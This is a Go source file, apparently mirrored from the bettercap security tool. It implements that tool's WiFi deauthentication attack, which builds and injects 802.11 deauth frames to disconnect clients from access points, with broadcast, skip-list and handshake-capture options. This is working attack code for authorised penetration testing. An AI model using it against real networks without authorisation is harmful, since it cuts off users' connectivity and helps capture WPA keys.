mirror of
https://github.com/bettercap/bettercap.git
synced 2024-11-08 06:30:13 -08:00
151 lines
3.7 KiB
Go
151 lines
3.7 KiB
Go
package wifi
|
|
|
|
import (
|
|
"bytes"
|
|
"fmt"
|
|
"net"
|
|
"sort"
|
|
|
|
"github.com/bettercap/bettercap/v2/network"
|
|
"github.com/bettercap/bettercap/v2/packets"
|
|
)
|
|
|
|
func (mod *WiFiModule) sendDeauthPacket(ap net.HardwareAddr, client net.HardwareAddr) {
|
|
for seq := uint16(0); seq < 64 && mod.Running(); seq++ {
|
|
if err, pkt := packets.NewDot11Deauth(ap, client, ap, seq); err != nil {
|
|
mod.Error("could not create deauth packet: %s", err)
|
|
continue
|
|
} else {
|
|
mod.injectPacket(pkt)
|
|
}
|
|
|
|
if err, pkt := packets.NewDot11Deauth(client, ap, ap, seq); err != nil {
|
|
mod.Error("could not create deauth packet: %s", err)
|
|
continue
|
|
} else {
|
|
mod.injectPacket(pkt)
|
|
}
|
|
}
|
|
}
|
|
|
|
func (mod *WiFiModule) skipDeauth(to net.HardwareAddr) bool {
|
|
for _, mac := range mod.deauthSkip {
|
|
if bytes.Equal(to, mac) {
|
|
return true
|
|
}
|
|
}
|
|
return false
|
|
}
|
|
|
|
func (mod *WiFiModule) isDeauthSilent() bool {
|
|
if err, is := mod.BoolParam("wifi.deauth.silent"); err != nil {
|
|
mod.Warning("%v", err)
|
|
} else {
|
|
mod.deauthSilent = is
|
|
}
|
|
return mod.deauthSilent
|
|
}
|
|
|
|
func (mod *WiFiModule) doDeauthOpen() bool {
|
|
if err, is := mod.BoolParam("wifi.deauth.open"); err != nil {
|
|
mod.Warning("%v", err)
|
|
} else {
|
|
mod.deauthOpen = is
|
|
}
|
|
return mod.deauthOpen
|
|
}
|
|
|
|
func (mod *WiFiModule) doDeauthAcquired() bool {
|
|
if err, is := mod.BoolParam("wifi.deauth.acquired"); err != nil {
|
|
mod.Warning("%v", err)
|
|
} else {
|
|
mod.deauthAcquired = is
|
|
}
|
|
return mod.deauthAcquired
|
|
}
|
|
|
|
func (mod *WiFiModule) startDeauth(to net.HardwareAddr) error {
|
|
// parse skip list
|
|
if err, deauthSkip := mod.StringParam("wifi.deauth.skip"); err != nil {
|
|
return err
|
|
} else if macs, err := network.ParseMACs(deauthSkip); err != nil {
|
|
return err
|
|
} else {
|
|
mod.deauthSkip = macs
|
|
}
|
|
|
|
// if not already running, temporarily enable the pcap handle
|
|
// for packet injection
|
|
if !mod.Running() {
|
|
if err := mod.Configure(); err != nil {
|
|
return err
|
|
}
|
|
defer mod.handle.Close()
|
|
}
|
|
|
|
type flow struct {
|
|
Ap *network.AccessPoint
|
|
Client *network.Station
|
|
}
|
|
|
|
toDeauth := make([]flow, 0)
|
|
isBcast := network.IsBroadcastMac(to)
|
|
for _, ap := range mod.Session.WiFi.List() {
|
|
isAP := bytes.Equal(ap.HW, to)
|
|
for _, client := range ap.Clients() {
|
|
if isBcast || isAP || bytes.Equal(client.HW, to) {
|
|
if !mod.skipDeauth(ap.HW) && !mod.skipDeauth(client.HW) {
|
|
toDeauth = append(toDeauth, flow{Ap: ap, Client: client})
|
|
} else {
|
|
mod.Debug("skipping ap:%v client:%v because skip list %v", ap, client, mod.deauthSkip)
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
if len(toDeauth) == 0 {
|
|
if isBcast {
|
|
return nil
|
|
}
|
|
return fmt.Errorf("%s is an unknown BSSID, is in the deauth skip list, or doesn't have detected clients.", to.String())
|
|
}
|
|
|
|
mod.writes.Add(1)
|
|
go func() {
|
|
defer mod.writes.Done()
|
|
|
|
// since we need to change the wifi adapter channel for each
|
|
// deauth packet, let's sort by channel so we do the minimum
|
|
// amount of hops possible
|
|
sort.Slice(toDeauth, func(i, j int) bool {
|
|
return toDeauth[i].Ap.Channel < toDeauth[j].Ap.Channel
|
|
})
|
|
|
|
// send the deauth frames
|
|
for _, deauth := range toDeauth {
|
|
client := deauth.Client
|
|
ap := deauth.Ap
|
|
if mod.Running() {
|
|
logger := mod.Info
|
|
if mod.isDeauthSilent() {
|
|
logger = mod.Debug
|
|
}
|
|
|
|
if ap.IsOpen() && !mod.doDeauthOpen() {
|
|
mod.Debug("skipping deauth for open network %s (wifi.deauth.open is false)", ap.ESSID())
|
|
} else if ap.HasKeyMaterial() && !mod.doDeauthAcquired() {
|
|
mod.Debug("skipping deauth for AP %s (key material already acquired)", ap.ESSID())
|
|
} else {
|
|
logger("deauthing client %s from AP %s (channel:%d encryption:%s)", client.String(), ap.ESSID(), ap.Channel, ap.Encryption)
|
|
|
|
mod.onChannel(ap.Channel, func() {
|
|
mod.sendDeauthPacket(ap.HW, client.HW)
|
|
})
|
|
}
|
|
}
|
|
}
|
|
}()
|
|
|
|
return nil
|
|
}
|